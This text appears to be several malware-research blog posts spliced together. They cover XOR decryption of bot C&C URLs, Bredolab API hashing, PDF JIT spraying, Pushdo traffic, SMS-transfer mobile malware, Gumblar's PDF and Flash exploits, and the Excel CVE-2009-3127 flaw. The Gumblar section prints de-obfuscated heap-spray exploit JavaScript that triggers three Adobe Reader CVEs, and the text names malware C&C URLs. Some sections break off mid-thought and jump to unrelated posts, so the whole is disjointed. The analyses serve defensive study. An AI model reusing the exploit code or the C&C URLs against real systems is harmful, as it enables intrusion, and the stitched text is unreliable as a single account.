Key Name:          HKEY_CLASSES_ROOT\idid

Name:            url0

00000000   1e 9b 6d d8  89 e6 c4 50  7f fd 13 6b  fa e2 f4 17

00000010   1a 80 78 cc  d6 bb c4 55  73 b5 07 77  a4 81 3a 71

00000020   a4 98 ba d8  2c 85 17 ad  ce c0 b1 a5  9f c8 07 0b

But what URL could this be, if it is one? Most of these bytes are not in the normal text range, so it would have to be encrypted. Even when there was no network connection, the url0 data was added, so I knew it must be hard coded into the bot. From the tests I had been doing, I also knew that the bot contained a hard coded URL for its Command and Control server. So it seemed possible that the C&C URL was encrypted here, but of course I would have to prove that.

The first 16 bytes of the url0 values, from six bot tests, with their test identifiers (T3, M2 etc.), are listed below. The list is sorted by the opening bytes. They fall into two groups where the first seven bytes are identical. The T2 data is slightly different from the ones below it, but the one different byte (f1) could be the result of an encryption error.

T3   1e 9b 6d d8  89 e6 c4 50  7f fd 13 6b  fa e2 f4 17

M2   1e 9b 6d d8  89 e6 c4 5f  60 ff 12 7b  bd ea f3 4c

T2   f1 9b 20 62  fc 48 d0 3e  27 fc 1d f7  94 5a ff 3f

T1   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f

M1   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74

M5   f8 9b 20 62  fc 48 d0 2b  2a fd 17 e2  87 46 ea 7e

Looking at this, it seems fairly likely that each group was encrypted with the same key. And if these are URLs, the seven common bytes at the beginning of each line could be “http://”, if we are on the right track.

The obvious move at this point is to test this theory. We can start with the first row of hex data from the T3 and M2 tests, recover the key for T3 using the hard coded URL for that variant, then find out if the key is correct by decrypting M2 with it. The worksheet below shows the hard coded URL and the url0 registry data for T3 in the first two lines. At the bottom is the URL in text format and in the plain line are the equivalent hex bytes.

T3 http://gnfdt.cn/loader/bb.php

00000000   1e 9b 6d d8  89 e6 c4 50  7f fd 13 6b  fa e2 f4 17  (encrypted in registry)

key

plain      68 74 74 70  3a 2f 2f 67  6e 66 64 74  2e 63 6e 2f (url in hex format)

text       h  t  t  p   :  /  /  g   n  f  d  t   .  c  n  /   (known hard coded URL)

We will assume that the key was XORed with the plaintext to produce this encryption. That is the most likely case, but if we are wrong it will be necessary to try some other methods. From this basis we will now XOR the encrypted and plain bytes to recover the key.

T3 http://gnfdt.cn/loader/bb.php

00000000   1e 9b 6d d8  89 e6 c4 50  7f fd 13 6b  fa e2 f4 17 (encrypted in registry)

key        76 ef 19 a8  b3 c9 eb 37  11 9b 77 1f  d4 81 9a 38 (recovered key)

plain      68 74 74 70  3a 2f 2f 67  6e 66 64 74  2e 63 6e 2f (url in hex format)

text       h  t  t  p   :  /  /  g   n  f  d  t   .  c  n  /   (known hard coded URL)

Now we have some key bytes, but there is no proof that they are real. To prove that, we can use the key bytes to decrypt M2. The result is below. Part of the URL that is hard coded into the M2 bot has been revealed.

M2 http://hqdedikit.com/mld/bb.php

00000000   1e 9b 6d d8  89 e6 c4 5f  60 ff 12 7b  bd ea f3 4c (encrypted in registry)

key        76 ef 19 a8  b3 c9 eb 37  11 9b 77 1f  d4 81 9a 38 (recovered key)

plain      68 74 74 70  3a 2f 2f 68  71 64 65 64  69 6b 69 74 (decrypted hex)

text       h  t  t  p   :  /  /  h   q  d  e  d   i  k  i  t   (decrypted text)

So our case is proved, the hard coded URL is the one hidden in the registry key. We can easily extend this through the rest of the encrypted data to show the whole URL, and remove any lingering doubt.

But what would we do if each bot variant had its own key? The method above would not work, but there are other ways to approach this problem. One way is to check whether this is a repeating key encryption system. They are very common, and if it is we can make comparisons within one URL, instead of using two as we did above.

Let’s try this method with T3. The simple way is to use the whole URL to find as many key bytes as possible, then look for repetitions.

T3 http://gnfdt.cn/loader/bb.php

00000000   1e 9b 6d d8  89 e6 c4 50  7f fd 13 6b  fa e2 f4 17

key        76 ef 19 a8 b3 c9 eb 37  11 9b 77 1f  d4 81 9a 38

plain      68 74 74 70  3a 2f 2f 67  6e 66 64 74  2e 63 6e 2f

text       h  t  t  p   :  /  /  g   n  f  d  t   .  c  n  /

00000010   1a 80 78 cc  d6 bb c4 55  73 b5 07 77  a4 81 3a 71

key        76 ef 19 a8 b3 c9 eb 37  11 9b 77 1f  d4

plain      6c 6f 61 64  65 72 2f 62  62 2e 70 68  70

text       l  o  a  d   e  r  /  b   b  .  p  h   p

Here we can see that the key starts to repeat at the start of the second row. So the key length is 16 bytes, and again we have proved that the key holds the hard coded URL. Decrypting the next byte at the end provides a little bonus, 0×81 XOR 0×81 = 0×00, the null terminator for the string. Decryption from this point onward exposes bytes that appear to be random.

But now consider another scenario, what would we do if we had no idea what the encrypted URLs were? If we have bots with different URLs using the same key, the problem is not beyond solution. To demonstrate I will use the data from T1 and M1, from the other key group. It turns out, in the end, that only the first two lines of hex are needed for this, so the example below will not show the third line.

First we need to locate the key repetition. We can try “http://” at the start to find the first seven key bytes. With these key bytes we can  decrypt at different locations until some URL-like text appears. The bot code probably processed this as DWORDs, so we will take a shortcut by checking at four byte intervals, and use only four key bytes for each decryption. If this fails we will have to try decrypting at different intervals, possibly even at every byte. The “?” marks below indicate decrypted bytes outside the normal text range, which we would not expect in a URL.

T1 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f

key        90 ef 54 12  c6 67 ff 90 ef 54 12  90 ef 54 12

plain      68 74 74 70  3a 2f 2f     ac 13 43 e3  01 be be 2d

text       h  t  t  p   :  /  /      ?  ?  C  ?   ?  ?  ?  -



00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87

key        90 ef 54 12 90 ef 54 12 90 ef 54 12 90 ef 54 12

plain      63 6e 2f 6d  3a ec 84 2f  b7 51 5c ea  15 d8 10 95

text       c  n  /  m :  ?  ?  /   ?  Q  \  ?   ?  ?  ?  ?

The true decryption appears to be “cn/m”, at the start of the second row. None of the others is even close. So it looks like we have found the key repetition and the key length. With this information we can set up our work sheet, with the known key bytes and decryptions they give us filled in. It can be seen below, where the decrypted parts confirm our work so far.

T1 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f

key        90 ef 54 12  c6 67 ff

plain      68 74 74 70  3a 2f 2f

text       h  t  t  p   :  /  /



00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87

key        90 ef 54 12  c6 67 ff

plain      63 6e 2f 6d  6c 64 2f

text       c  n  /  m   l  d  /



M1 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74

key        90 ef 54 12  c6 67 ff

plain      68 74 74 70  3a 2f 2f

text       h  t  t  p   :  /  /



00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11

key        90 ef 54 12  c6 67 ff

plain      74 2f 6c 6f  61 64 65

text       t  /  l  o   a  d  e

Now we need to extend the URL text parts to uncover more key bytes. In other words we need to make some good guesses, but because the structure of URLs is well known to us, this should not be too difficult.

Notice that the second text line under T1 starts with “cn/mld/”. This looks like a “.cn” top level domain, so let’s fill in the “.” and apply the key byte we get.

T1 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f

key        90 ef 54 12  c6 67 ff                           11

plain      68 74 74 70  3a 2f 2f                           2e

text       h  t  t  p   :  /  /                            .



00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87

key        90 ef 54 12  c6 67 ff 11

plain      63 6e 2f 6d  6c 64 2f                           96

text       c  n  /  m   l  d  /                            ?



M1 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74

key        90 ef 54 12  c6 67 ff                           11

plain      68 74 74 70  3a 2f 2f                           65

text       h  t  t  p   :  /  /                            e



00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11

key        90 ef 54 12  c6 67 ff 11

plain      74 2f 6c 6f  61 64 65                           00

text       t  /  l  o   a  d  e                            \0

Now we have some more decrypted bytes. There is a null at the end of M1, this must be the URL string terminator, and a non-text byte (0×96), but let’s ignore that one for now. It may be junk from beyond the end of the URL string, and we will know soon enough if this was a bad guess. At the end of the first M1 line the text character is an “e”, so that we now have “et/loade”. This looks like it must be “.net/loader”, so next we will fill this in and decrypt some more.

T1 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f

key        90 ef 54 12  c6 67 ff 5f 34 98 11

plain      68 74 74 70  3a 2f 2f 6d                  65 72 2e

text       h  t  t  p   :  /  /  m e  r .



00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87

key        90 ef 54 12  c6 67 ff 5f 34 98 11

plain      63 6e 2f 6d  6c 64 2f 62                  00 dc 96

text       c  n  /  m   l  d  /  b \0 ? ?



M1 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74

key        90 ef 54 12  c6 67 ff 5f                  34 98 11

plain      68 74 74 70  3a 2f 2f 75                  2e 6e 65

text       h  t  t  p   :  /  /  u .  n e



00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11

key        90 ef 54 12  c6 67 ff 5f 34 98 11

plain      74 2f 6c 6f  61 64 65 72                  68 70 00

text       t  /  l  o   a  d  e  r h  p \0

There is nothing very obvious here, but at the end of the second row of M1 we have “hp\0″. This looks like it could be “.php”, so let’s try that next.

T1 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f

key        90 ef 54 12  c6 67 ff 5f 90  f5 34 98 11

plain      68 74 74 70  3a 2f 2f 6d           61  64 65 72 2e

text       h  t  t  p   :  /  /  m            a   d e  r  .



00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87

key        90 ef 54 12  c6 67 ff 5f 90  f5 34 98 11

plain      63 6e 2f 6d  6c 64 2f 62           68  70 00 dc 96

text       c  n  /  m   l  d  /  b            h   p \0 ?  ?



M1 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74

key        90 ef 54 12  c6 67 ff 5f 90  f5 34 98 11

plain      68 74 74 70  3a 2f 2f 75           69  74 2e 6e 65

text       h  t  t  p   :  /  /  u            i   t .  n  e



00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11

key        90 ef 54 12  c6 67 ff 5f           90  f5 34 98 11

plain      74 2f 6c 6f  61 64 65 72           2e  70 68 70 00

text       t  /  l  o   a  d  e  r            .   p h  p  \0

This looks good, and now we have some good hints. In T1, in the first line, it looks like we have “//m?loader.” and in the second line another “.php” is developing. We can put these in.

T1 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f

key        90 ef 54 12  c6 67 ff 5f     90 78 90  f5 34 98 11

plain      68 74 74 70  3a 2f 2f 6d     6c 6f 61  64 65 72 2e

text       h  t  t  p   :  /  /  m      l  o a   d  e  r  .



00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87

key        90 ef 54 12  c6 67 ff 5f 90 78 90  f5 34 98 11

plain      63 6e 2f 6d  6c 64 2f 62     2e 70 68  70 00 dc 96

text       c  n  /  m   l  d  /  b      .  p h   p  \0 ?  ?



M1 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74

key        90 ef 54 12  c6 67 ff 5f 90 78 90  f5 34 98 11

plain      68 74 74 70  3a 2f 2f 75     6c 69 69  74 2e 6e 65

text       h  t  t  p   :  /  /  u      l  i i   t  .  n  e



00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11

key        90 ef 54 12  c6 67 ff 5f 90 78 90  f5 34 98 11

plain      74 2f 6c 6f  61 64 65 72     62 62 2e  70 68 70 00

text       t  /  l  o   a  d  e  r      b  b .   p  h  p  \0

Now, in the second line of M1, we have “bb.php”, and it looks like this also appears in “mld/b?.php” at second line of T1. With this we can fill in the last missing byte.

T1 00000000   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f

key        90 ef 54 12  c6 67 ff 5f 45 90 78 90  f5 34 98 11

plain      68 74 74 70  3a 2f 2f 6d  79 6c 6f 61  64 65 72 2e

text       h  t  t  p   :  /  /  m   y l  o  a   d  e  r  .



00000010   f3 81 7b 7f  aa 03 d0 3d  27 be 08 f8  85 34 44 87

key        90 ef 54 12  c6 67 ff 5f  45 90 78 90  f5 34 98 11

plain      63 6e 2f 6d  6c 64 2f 62  62 2e 70 68  70 00 dc 96

text       c  n  /  m   l  d  /  b   b .  p  h   p  \0 ?  ?



M1 00000000   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74

key        90 ef 54 12  c6 67 ff 5f 45 90 78 90  f5 34 98 11

plain      68 74 74 70  3a 2f 2f 75  6b 6c 69 69  74 2e 6e 65

text       h  t  t  p   :  /  /  u   k l  i  i   t  .  n  e



00000010   e4 c0 38 7d  a7 03 9a 2d  6a f2 1a be  85 5c e8 11

key        90 ef 54 12  c6 67 ff 5f 45 90 78 90  f5 34 98 11

plain      74 2f 6c 6f  61 64 65 72  2f 62 62 2e  70 68 70 00

text       t  /  l  o   a  d  e  r   / b  b  .   p  h  p  \0

So even if the URLs are unknown, we can still decrypt them if bots with different URLs use the same key. In fact all of the pairs from this group {T1-M1, M1-M5, and T1-M5} can be solved without any really difficult guessing, and using all three makes it much easier. Even when it is not clear what text to fill in next, we can always try different guesses until we find the right one.

Of course the weaknesses in this encryption could have been avoided, or at least reduced. For example, not re-using keys would have helped. What we may be seeing here is evidence that, like many computer users, bot herders don’t take security as seriously as they should.

Malware authors also use dynamic function loading to enable itself to adapt to different operating system. They use it to enable their program to run on Windows XP, Vista, Windows 7 or other platform.

Common practice is to list all function names as an array of strings to be loaded once the application is running. They used a combination of LoadLibrary and GetProcAddress functions to get the proper addresses. Still some try to use other techniques of getting those addresses without even using those two functions.

Let’s take a closer look at how W32/Bredolab.AC!tr.dldr resolved its API addresses.

W32/Bredolab.AC!tr.dldr did not use a list of API strings,  instead it uses a list of hash values equivalent of the APIs. The hash is computed as below:

These are the steps how the malware got the right API  addresses without using LoadLibrary and GetProcAddress functions.

Step 1:

It first copies the DLL file that it needs in a “%temp%” folder with TMP??.tmp as the filename(?? is a 2-digit number).

Step 2:

It then loads the TMP??.tmp to its address space.

Step 3:

After loading the tmp file which is the equivalent dll file, it can now work on parsing it.  It parses its content, technically in the export table to get the list of function names. It then computes a hash value for each name and compare it to its own list.

Once it gets the right hash value, it then gets the address of the function. And it starts back on Step 1 till it gets all the addresses it needs.

This technique of getting API addresses is not new. But it still serves as a basis of how malware works. Malware authors go to some lengths just to try to make analysis harder. I imagine that this is not even half of what the malware does.

All Your Data Are Belong To Us
Ransomware comes in many shapes and forms, with the most recent variation using malware masquerading as antivirus protection. The goal of an attacker is simple: cripple, lock down and encrypt files/applications, then offer a service to unlock the data. Ransomware has already begun to leave a destructive trail in 2010. Watch as Derek Manky, cyber security and threat researcher, discusses and demonstrates these threats live in the theater.

The Art of Industrial Spying
Every organization and individual has more and more confidential or regulated data to manage, with growing amounts of data being moved to digital storage and transferred digitally. This has wedged the door open to data theft and/or manipulation for financial gain, while bypassing physical security measures. Steve Fossen, senior manager of security research and development, will discuss and demonstrate how enterprises can protect their data from this kind of intellectual property theft so that it doesn’t end up in the wrong hands – or on the open market.

Presentations will take place every 30 minutes during show floor hours. Please stop by the Fortinet booth (#2225) for the schedule and for information on these presentations.

In fact, JIT Spraying is a general idea, to generate executable code in accordance with the attacker’s wish in the memory. In that presentation, the researcher shows how to implement this technology in Adobe Flash ActionScript Virtual Machine as an example.

As shown in my other post: A Look Back at PDF Vulnerabilities, Adobe Reader could play Flash file independently (without Adobe Flash Player installed in the system). Following quick test will show that the JIT Spraying therefore works here as well.

1. We use the same ActionScript code showed in the paper.

var y = (0×3c54d0d9 ^ 0×3c909058 ^ 0×3c59f46a ^ 0×3c90c801 ^ 0×3c9030d9 ^ 0×3c53535b);

2. We embed the .swf file into PDF. Note that the red-marked option parameter makes playing the .swf file automatically.

3. Now let’s see have a look at the right places (highlighted in red below) in the memory space of Adobe Reader process once it loaded our crafted PDF:

The ActionScript code we used in our embedded flash file clearly appears, in the form of native machine code (see the series of XOR operations above). Meaning, it was compiled by the JIT compiler.

[As a side note, the responsible file for playing Flash is named "authplay.dll", in fact it is a standard Shockwave Flash application.]

Therefore, we know that PDF has the same situation as in the Flash: code can be “sprayed” via the JIT compiler.

As we know, DEP is enabled from Adobe Reader 9.2.0, which indeed prevented a lot of PDF based attacking, such as the popular exploit of the vulnerability CVE-2009-4324 in the wild does not work on the latest Adobe Reader.

Unfortunately, now the situation changes, the DEP on Adobe Reader became much easier to be attacked due to the Flash playing feature in PDF. And it is expected that the working JIT Spraying exploit will appear in the wild in the near future as the researchers (both Blackhats and Whitehats) are paying more attentions on this area, so PDF zero-days will get a brand new way to keep their lives. It is important information for our PDF zero-day defense as well.

Guillaume Lovet contributed to this post

• While it used the 2nd generation Pushdo communication protocol (with minor varations), it encrypted its communications and routed them through the SSL port (443); while this encryption looked like SSL at first sight (which would be consistent with the choice of the port), it is actually NOT.

• There is a routine which generates some actual SSL traffic to a list of 339 known web sites (legitimate, for the most part), obviously to drawn bot-to-C&C communication in a sea of decoys.

This latter point explains why so many webmasters are reporting that SSL traffic (coming from different IPs) is much higher than normal these days. The good news for them is that the additional traffic is not malicious (application-wise, that is), and the bad news is that an increase of actual viewers is not the cause of it: it’s just some dummy data generated by calls to the QueryPerformanceCounter API in the latest Pushdo evolution.

Memory snapshots (from a pushdo infected machine) below illustrate the former point about encryption.

Before encryption:

After encryption (same memory space), just before sending:

The response from the C&C server, encrypted alike, contains the rootkit and spam engine modules (classic Pushdo process).

As an interesting side note, as we will see below, here is a list of those C&Cs:

Indosat, an Indonesian telecom operator, offers IM3 (Indosat Multimedia 3) customers the ability to transfer (small) funds between two accounts. This is known as ‘pulse transfer’ or ‘M3-Transfer’ and it works by … SMS, without PIN nor registration ! The money is transferred from one IM3 account to another IM3 account (a transfer fee is charged to the sender).

This sounds quite handy, but… absolutely anything but secure, so it comes as no surprise cyber-delinquents make use of it.

In Flocker, from 5000 to 10000 Indonesian rupees (0.45 – 0.90 USD) were transferred to IM3 accounts controlled by the malware author.

Now, Java/GameSat.A!tr typically gets onto your mobile phone as a ‘modification to Opera Mini’. Of course, it does not modify Opera Mini at all. Instead, it uses IM3 fund transfer to access non-free on-line divination, chat or dating services. The end-user gets charged up to 20000 Rp (1.8 USD) – not mentioning the transfer fee – each time he/she opens the application or tries to access the non-free services.

Figure 1. The malware advertises as a modification to Opera Mini

Figure 2. Malware tries to send an SMS

I could make up my own divination service on that matter, and tell end-users they are probably about to lose roughly two dollars, get plenty of SMS spam and absolutely no advice or dates whatsoever.

– The Crypto Girl

This is the very question we will give a try at today. If you installed Adobe Reader, Acrobat or Flash player, you stand big chances to be fed malicious samples when you visit an infected web site: After fingerprinting the victim’s system, Gumblar uses obfuscated javascript to feed these samples to the visitors of the compromised sites running PHP. These malicious samples (PDF and Flash) in turn exploit vulnerabilities in the software handling them on the victim’s system; upon successful exploitation, the victim becomes effectively infected by Gumblar – without even noticing, since no action was required from the victim.

The following analysis concerns those malicious PDF and Flash files.

1. PDF Exploit Example

Many recent Acrobat / Acrobat Reader vulnerabilities are in fact triggered by javascript code embedded in the document: malformed arguments are passed to vulnerable methods. In our case, the embedded javascript code (compressed, as usual – though surprisingly short) looks like this once uncompressed:

IPfFw=this.info.title;————————————————————————–Store the real code
function wwh(EOOGe){return unescape(EOOGe);}function mQC1G(){return ‘%’;}xbnI=(IPfFw).replace(/[\R]/g,mQC1G());
eval(wwh(xbnI))

Interestingly, it appears that the real code is stored in the file title, which is what makes the JavaScript part so short.

The following is the de-obfuscated code stored in the file title:

[...]
try{var qiQG=app.viewerVersion.toString(); qiQG=qiQG.charAt(0)*100+qiQG.charAt(2)*10+qiQG.charAt(4);if((qiQG>=800)&&(qiQG<=812)){
var PYI=unescape(”%u0A0A%u0A0A”);var TAq=20;var QUI=TAq+Leje.length;while(PYI.length<QUI)PYI+=PYI;var VcT=PYI.substring(0,QUI);var Zq3G=PYI.substring(0,PYI.length-QUI);
while(Zq3G.length+QUI<0×60000)Zq3G=Zq3G+Zq3G+VcT;for(qq8I=0;qq8I<1200;qq8I++){dHH[qq8I]=Zq3G+Leje}var O07=”12999999999999999999″;for(KRv=0;KRv<276;KRv++)O07+=”8″;
util.printf(”%45000f”,O07);————————————————————-exploit CVE-2008-2992
}
if((qiQG<710)||((qiQG>800)&&(qiQG<812))){VLog(); var uqG=unescape(”%u0c0c%u0c0c”);while(uqG.length<44952)uqG+=uqG;
this.collabStore=Collab.collectEmailInfo({subj:”",msg:uqG});——————————exploit CVE-2008-0655
}
if((qiQG<=900)&&(qiQG!=711)&&(qiQG!=813)&&app.doc.Collab.getIcon)
{VLog(); var xkSfB=unescape(”%09″);while(xkSfB.length<0×4000){xkSfB+=xkSfB;
}xkSfB=”N.”+xkSfB;
app.doc.Collab.getIcon(xkSfB);—————————————-exploit CVE-2009-0927
}
}catch(e){}

As commented inline, it therefore tries to exploit CVE-2008-2992, CVE-2008-0655 and CVE-2009-0927. And so we found the exploits triggers.

2. Flash Exploit Example

Gumblar uses a similar run-time packer as the one discussed in Flash Mob Episode II: Attack of the Clones, thus I will only address the differences here. Again, I had to summon swfdump because swfscan failed to decompile the ActionScript. The analysis below is based on the disassembly provided by swfdump. The unpacking is done in the constructor of class Main:

constructor * <q>[public]::Main=Main/Main()(0 params, 0 optional)
[stack:4 locals:3 scope:10-15 flags: need_activation]

slot 4: var <q>[packageinternal]::loader:<q>[public]flash.display::Loaderslot 3: var <q>[packageinternal]::i:<q>[public]::Numberslot 2: var <q>[packageinternal]::bytes:<q>[public]flash.utils::ByteArrayslot 1: var <q>[packageinternal]::SWF1:<q>[public]::Class
{
[...]
00018) + 1:2 getlex <q>[public]::Main_SWF1——————————————-What’s this?

00019) + 2:2 coerce <q>[public]::Class

00020) + 2:2 setslot 1

[...]

00024) + 2:2 getslot 1

00025) + 2:2 construct 0 params

00026) + 2:2 getlex <q>[public]flash.utils::ByteArray

00027) + 3:2 astypelate

00028) + 2:2 coerce <q>[public]flash.utils::ByteArray————————————Converted to ByteArray

00029) + 2:2 setslot 2——————————————————————Encoded flash data

[...]

00032) + 1:2 pushbyte 0

00033) + 2:2 convert_d

00034) + 2:2 setslot 3——————————————————————-Counter i

00035) + 0:2 jump ->58————————————————Go to test condition of while loop

00036) + 0:2 label——————————————————Loop Start

[...]

00043) + 3:2 getslot 2

00044) + 3:2 getscopeobject 1

00045) + 4:2 getslot 3

00046) + 4:2 getproperty <l,multi>{[private]Main,…[Truncated]}————————–Get ByteArray[i]

00047) + 3:2 pushbyte 61—————————————————————Decoding key

00048) + 4:2 bitxor———————————————————————-Decoding algorithm:XOR

00049) + 3:2 setproperty <l,multi>{[private]Main,…[Truncated]}————————–Store decoded flash

[...]

00059) + 1:2 getslot 3

00060) + 1:2 getscopeobject 1

00061) + 2:2 getslot 2

00062) + 2:2 getproperty <q>[public]::length

00063) + 2:2 iflt ->36——————————————————————-Loop if counter i is lower than length

00064) + 0:2 debugline 23

00065) + 0:2 getscopeobject 1

00066) + 1:2 findpropstrict <q>[public]flash.display::Loader

00067) + 2:2 constructprop <q>[public]flash.display::Loader, 0 params

00068) + 2:2 coerce <q>[public]flash.display::Loader

00069) + 2:2 setslot 4————————Initialize a flash.display::Loader to load decoded flash

[...]

00086) + 1:2 getslot 4

00087) + 1:2 getscopeobject 1

00088) + 2:2 getslot 2

00089) + 2:2 callpropvoid <q>[public]::loadBytes, 1 params——————————–Load decoded flash

[...]

}

As can be seen above, the same decryption
algorithm is used: simple XORing of the payload with a key. But wait a minute, where is the encoded flash data? It’s nowhere to be found in the ActionScript part. What is “Main_SWF1″? Let’s search outside of ActionScript, in the swfdump output:

[057]     10350 DEFINEBINARY defines id 0001————————————————DEFINEBINARY Tag(0×57)

[...]

[04c]        21 SYMBOLCLASS

exports 0001 as “Main_SWF1″—————————————————-Export Binary data as “Main_SWF1″

The encoded flash data is stored in tag DEFINEBINARY!

The decoded flash is the same as F2.swf, as discussed in Flash Mob Episode II: Attack of the Clones. It tries to exploit CVE-2007-0071 using a multiplexing technique. Trigger found!

As a conclusion, Gumblar hides its weapons carefully: Sitting in “resources” zones, the real exploit code is separated from the JavaScript/ActionScript part, which is only used to decrypt and load it. Using this and server-side polymorphism, no doubt Gumblar successfully evades many a detection.

First we need to know what’s the CVE-2009-3127 is. What causes this vulnerability? The following is cited from bulletin MS09-067:

“The vulnerability exists in the way that Microsoft Office Excel parses
the Excel spreadsheet file format when opening a specially crafted
Excel spreadsheet.“

The spreadsheet format mentioned above is Excel Binary File Format (.xls). Regarding CVE-2009-3127, when Excel parses a crafted record SXDB(0xC6) in pivot cache stream (refer to page 53 of MS-XLS), if member cfdbdb is greater than cfdbTot (refer to the highlighted value in Figure 1), it will crash or execute code if the file is well-crafted.

Figure 1: crafted Excel file details

You may think this vulnerability is due to a lack of
sufficient sanitization on SXDB record. Let’s see the associated code in unpatched Excel.exe (11.0.8307.0). The crafted SXDB record is process at offset 0×301B5926.

.text:301B5926 sub_301B5926    proc near               ; CODE XREF: sub_300E45E9+D1779p
.text:301B5926
.text:301B5926                 push    ebp
.text:301B5927                 lea     ebp, [esp-304h]
.text:301B592E                 sub     esp, 384h
…
.text:301B5AFC                 push    eax
.text:301B5AFD                 push    14h
.text:301B5AFF                 push    0C6h———————————-expected record type: SXDB(0xC6)
.text:301B5B04                 push    edi
.text:301B5B05                 call    sub_300DA264 ————————Read in record SXDB, edi point to the record data
.text:301B5B0A                 test    eax, eax
.text:301B5B0C                 mov     [ebp+304h+var_33C], eax
.text:301B5B0F                 js      loc_30274DA9
.text:301B5B15                 mov     esi, [ebp+304h+var_330]————-esi point to structure created for this pivot cache stream
.text:301B5B18                 mov     [esi], ebx
.text:301B5B1A                 movsx   eax, word ptr [edi+8]
.text:301B5B1E                 mov     [esi+10h], eax
.text:301B5B21                 mov     eax, [edi]
.text:301B5B23                 mov     [esi+14h], eax
.text:301B5B26                 movsx   eax, word ptr [edi+0Ah]
.text:301B5B2A                 mov     [esi+24h], eax————————-store cfdbdb
.text:301B5B2D                 movsx   eax, word ptr [edi+0Ch]
.text:301B5B31                 mov     [esi+28h], eax————————-store cfdbTot
…
.text:301B5C19                 mov     eax, [esi+24h]
.text:301B5C1C                 cmp     eax, [esi+28h]————————-compare cfdbdb with cfdbTot
.text:301B5C1F                 ja      loc_301B5CEC
…
.text:301B5CEC                 push    ebx
.text:301B5CED                 push    ebx
.text:301B5CEE                 push    esi
.text:301B5CEF                 call    sub_30602D11—————————clear the structure pointed by esi!!!

As you can see, cfdbdb value is compared with cfdbToc value and the associate structure (remember this structure, we will refer to it later) is cleared if it is illegal. This is the unpatched version! It is not vulnerable. Let’s see whether the patched version improved this function. The function moves to address 301ABE5A in version 11.0.8316.0 and nothing changed! Now it is clear that the function handling SXDB record is not responsible for this vulnerability. But how cfdbdb can be the attack vector of this vulnerability?

Let’s see the real vulnerable code in unpatched Excel.exe(11.0.8307.0). The record SXVI(0xB2) in WorkSheet is processed at offset 0×301C0C2B

.text:301C0C2B sub_301C0C2B    proc near               ; CODE XREF: sub_301C0F83+E9p
.text:301C0C2B
.text:301C0C2B                 push    ebp
.text:301C0C2C                 mov     ebp, esp
…
.text:301C0C8F                 push    8
.text:301C0C91                 push    0B2h————————————expected record type: SXVI(0xB2)
.text:301C0C96                 push    edi
.text:301C0C97                 call    sub_300DA264 ————————-Read in  record SXVI
…
.text:301C0D4C                 test    word ptr [esi], 8800h
.text:301C0D51                 jnz     loc_302767F6
…
.text:302767F6 loc_302767F6:                           ; CODE XREF: sub_301C0C2B+126j
.text:302767F6                 movsx   eax, word ptr [esi+4]
.text:302767FA                 push    eax
.text:302767FB                 push    [ebp+arg_18]————————–The SXVD(0xB1) record number
.text:302767FE                 call    sub_301B0A05————————-The real vulnerable function!
.text:30276803                 test    byte ptr [esi+1], 8
.text:30276807                 jz      short loc_3027680D
.text:30276809                 or      byte ptr [eax+9], 8———————-eax register is controllable by changing SXVD(0xB1) record numbers!

As I comment inline, function at 0×301B0A05 is responsible for this vulnerability:

.text:301B0A05 sub_301B0A05    proc near               ; CODE XREF: sub_301B0A3F+E3p
.text:301B0A05
.text:301B0A05                 mov     ecx, [esp+arg_0]
.text:301B0A09                 mov     eax, dword_30896958—————–The structure that have been cleared in 301B5926,remember it?
.text:301B0A0E                 cmp     ecx, [eax+24h]————————-compare ecx=0×89 with [eax+24] which is cfdbdb (0 since the structure was cleared)
.text:301B0A11                 jge     loc_3029425C—————————-go to wrong path and the return result is controllable
…
.text:3029425C                 mov     edx, [eax+2Ch]
.text:3029425F                 imul    ecx, 1E4h——————————–SXVD(0xB1) record numbers
.text:30294265                 mov     eax, [esp+arg_4]
.text:30294269                 inc     eax
.text:3029426A                 imul    eax, 0Ch
.text:3029426D                 add     eax, [edx+ecx+1A8h]
.text:30294274                 jmp     locret_301B0A3C

Now, we are clear about this vulnerability: The function processing SXDB record cleared the structure when it found malformed SXDB record, but the code using this structure doesn’t handle this case. The cooperation of the producer and consumer failed.

Let’s see how Microsoft improves the function at offset 0×301B0A05 in the patched version. The function moved to address 301A7431.

.text:301A7431 sub_301A7431    proc near               ; CODE XREF: sub_301A7474+E3p
.text:301A7431
.text:301A7431                 mov     ecx, [esp+arg_0]
.text:301A7435                 mov     eax, dword_308960A8
.text:301A743A                 cmp     ecx, [eax+28h]—————————compare ecx=0×89 with [eax+28] which is cfdbTot (0 since the structure was cleared)
.text:301A743D                 jnb     loc_30294818——————————patch point, jump to address 30294818 in our case
